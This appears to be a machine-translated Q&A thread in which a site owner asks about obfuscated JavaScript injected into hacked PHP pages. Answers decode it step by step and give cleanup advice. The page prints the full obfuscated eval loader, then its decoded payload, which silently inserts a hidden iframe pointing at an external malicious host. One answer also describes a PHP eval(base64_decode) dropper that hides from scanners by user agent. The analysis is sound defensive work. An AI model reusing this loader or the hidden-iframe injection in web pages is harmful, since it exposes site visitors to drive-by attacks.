2012-05-18 27 views
14

Một trong các trang web của chúng tôi đã bị tấn công gần đây, nơi nhiều tệp php đã được sửa đổi. Điều này sửa đổi tiêm javascript ở đầu trang nhưng sau khi giải mã base64 tất cả của nó tôi đi qua sau đây và tôi không có đầu mối làm thế nào để tiến hành.Trang web vừa bị tấn công và javascript được tiêm vào tiêu đề, điều đó có nghĩa là gì?

Có ai có kinh nghiệm về nội dung này và có cách nào để tìm ra chính xác những gì họ đang cố gắng đạt được không?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script> 

trang hoàng đẹp đẽ:

i = 0; 
try { 
    avasv = prototype; 
} catch (z) { 
    h = "harCode"; 
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f'); 
    v = "e" + "va"; 
} 
if (v) e = window[v + "l"]; 
try { 
    q = document.createElement("div"); 
    q.appendChild(q + ""); 
} catch (qwg) { 
    w = f; 
    s = []; 
} 
r = String; 
z = ((e) ? h : ""); 
for (; 573 != i; i += 1) { 
    j = i; 
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42); 
} 
if (v && e && r && z && h && s && f && v) e(s); 
+14

'e' là' window ['eval'] '. Thay đổi' e (s) 'thành' console.log (s) 'để xem mã nó' eval'ing.Tôi đã làm điều đó, đó là: http://pastebin.com/YnrcNVc3 –

+1

Bạn cũng có thể chạy quá khứ này rất nhiều tại security.se – Matt

+2

@Rocket bạn nên làm điều đó một Nhìn tốt – flumpb

Trả lời

19

tôi nhìn mã này, nó kinda điên.

nó bắt đầu với try{avasv = prototype;}, mà rõ ràng là thất bại. Sau đó, nó làm cho một số biến.

f là một dãy số (chiều dài 573). zharCode. Đến cuối cùng, có "fromC" + ((e) ? z : 12). Điều này tạo ra fromCharCode (String.fromCharCode), được sử dụng với dãy số, f (sau khi thêm 42 vào mỗi số). Điều này dường như tạo ra một chuỗi là eval ed.

Nó được eval ed như thế này:

v = "e" + "va"; 
if (v) e = window[v + "l"]; 

Như bạn thấy ewindow['eval'], hoặc đơn giản là eval.

Vì vậy, nếu bạn thay thế:

if (v && e && r && z && h && s && f && v) e(s); 

với:

if (v && e && r && z && h && s && f && v) console.log(s); 

Sau đó, bạn có thể xem những gì mục đích của mã này là gì. Tôi đã làm điều này, và đây là những gì là đầu ra:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 

function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Tôi không biết http://kyubdyyyb.lookin.at/?go=2 là gì, vì vậy tôi đề nghị bạn không đến đó.

Dường như có nhiều kiểm tra dự phòng tại đây (như (e) ? z : 12, e sẽ không bao giờ là sai). Có lẽ chỉ để làm cho mã khó hiểu hơn.

+0

loại bỏ các liên kết pls. nguy hiểm – ajax333221

+7

@ ajax333221: Tôi cảnh báo mọi người đừng đến đó. –

+0

Giải mã công việc tốt! +1. Có vẻ như một cuộc tấn công XSS hoặc XSRF điển hình sử dụng iFrame ẩn. :-P – David

10

Tôi biết đây không phải là một câu trả lời trực tiếp, nhưng có vẻ như đã đạt được những gì họ muốn làm. Tiêm kịch bản tùy ý sẽ chạy trên trang web của bạn, để làm điều gì đó độc hại.

Googling cho "avasv = prototype" về cơ bản chỉ liệt kê một tấn trang web bị nhiễm, nhưng một số lần truy cập không độc hại cho biết rằng đây là trình giải nén tập lệnh.

Điều họ cố gắng đạt được không phải là điều quan trọng. Họ đã đạt được nó. Họ đã đặt một tập lệnh độc hại trong ứng dụng web của bạn và từ đó, họ có thể lấy cắp dữ liệu nhạy cảm từ máy chủ và khách truy cập của bạn và nhờ XmlHttp, đăng lại cho máy chủ web của riêng họ. Điều quan trọng là làm thế nào bạn sẽ làm sạch nó trước khi nhiều khách truy cập của bạn bị tổn hại, và làm thế nào bạn sẽ mã để ngăn chặn chống lại XSS và XSRF trong tương lai.

Hy vọng rằng, bạn có quyền kiểm soát nguồn và có thể hoàn nguyên trang web của mình về trạng thái bị nhiễm trước. Đó sẽ là thứ tự của doanh nghiệp số 1.

Nếu bạn chưa từng nghe về nó, tôi khuyên bạn nên thường xuyên ghé thăm và học tập tại http://www.OWASP.org như một cách tuyệt vời để tìm hiểu cách ngăn chặn các lần xuất hiện trong tương lai.


Một lưu ý cuối cùng, ngay cả khi trang web của bạn không có dữ liệu nhạy cảm trong nó, bạn vẫn đưa khách hàng của bạn có nguy cơ nếu họ đăng nhập vào trang web của bạn.

JavaScript khả năng có thể được sử dụng để thu thập tên người dùng/mật khẩu kết hợp của họ, sau đó họ có thể sử dụng chống lại các trang web khác và có khả năng ăn cắp thông tin của khách hàng từ những trang web. (Tùy thuộc vào cách trang web của bạn được mã hóa) Vì vậy, dọn dẹp và bảo vệ truy cập của bạn hoàn toàn là thứ tự của kinh doanh # 1 thậm chí nếu nó có nghĩa là đóng cửa trang web của bạn cho "bảo trì"

It'll be hilarious the first few times this happens.

Cuối cùng, có một số lời khuyên tốt từ Google trong bài viết của họ "My site's been hacked. Now what?"

+0

Cảm ơn lời khuyên. Chúng tôi đã làm sạch mã bị nhiễm, thay đổi quyền ghi và tôi sẽ thực hiện các bước khác nhau để thử và đảm bảo điều này không xảy ra lần nữa. Tôi tương đối mới ở đây và tôi không nhận thức được hầu hết các dự án mà những kẻ này đã làm việc nên đây là một quá trình đang diễn ra. Ngay sau khi tôi nhận được quyền truy cập SSH, tôi sẽ thử và tìm kiếm các mã tương tự và các tệp đáng ngờ. Cảm ơn một lần nữa :) – Gazillion

2

Tôi đã nhận được critter này và nó đã perplexing trong một thời gian, bởi vì grepping để xác định các chuỗi như avasv = nguyên mẫu bật lên một số kết quả nhưng loại bỏ chúng không làm sạch nhiễm trùng. Để làm rõ OP, nó chỉ ra rằng nó ban đầu đang tiêm một số PHP thú vị hơn, thường là trong các tệp index.php. Bạn sẽ thấy một eval php (base64_decode (...)) trong chúng trên dòng 1.

Mã này làm gì và tôi sẽ không làm phiền việc đăng lại vì nó tầm thường, giải mã và đánh giá chuỗi base64 chứa một số php. Bên trong mã đó là một UA-checker cơ bản tìm kiếm các chuỗi các kết hợp trình duyệt/hệ điều hành không thể quét được (mac, linux, trình duyệt google chrome, v.v ...) và các trình thu thập/chương trình tìm kiếm. Đây cũng là lý do tại sao bạn sẽ không thấy javascript độc hại nếu bạn thử tìm trong một số trình duyệt/hệ điều hành combo hoặc sử dụng curl/wget. Nếu nó không tìm thấy một trong các chuỗi UA được liệt kê của nó thì nó sẽ giải mã và lặp lại tập lệnh được thấy trong OP, cũng được mã hoá base64.

Vì vậy, những gì bạn muốn làm để root nó ra là grep cho "eval (base64_decode (". Không có mục đích hợp pháp cho sự kết hợp đặc biệt của chức năng mà tôi có thể nghĩ đến, vì vậy bạn sẽ có thể theo dõi nó xuống khá Điều đó sẽ không khắc phục được bất cứ điểm nhiễm trùng ban đầu nào của bạn, dĩ nhiên là

+0

Tôi nhận được javascript từ giải mã eval ở đầu các trang chỉ mục. Chúng tôi đã có thể thanh lọc máy chủ của tất cả chúng, phải mất một lúc để tôi tìm thấy nó nhưng chúng đã tạo ra nó từ tập lệnh tải lên của người dùng hoàn toàn không được bảo vệ. Tôi cắm lỗ và vượt qua các ngón tay của tôi và sau một vài lần thử (theo nhật ký truy cập) họ không thành công :) – Gazillion

+0

Thông tin cụ thể, tốt đẹp cho cái này. 1 cho điều này, tôi chắc chắn nó sẽ được helful cho khách truy cập trong tương lai, quá! – David

Các vấn đề liên quan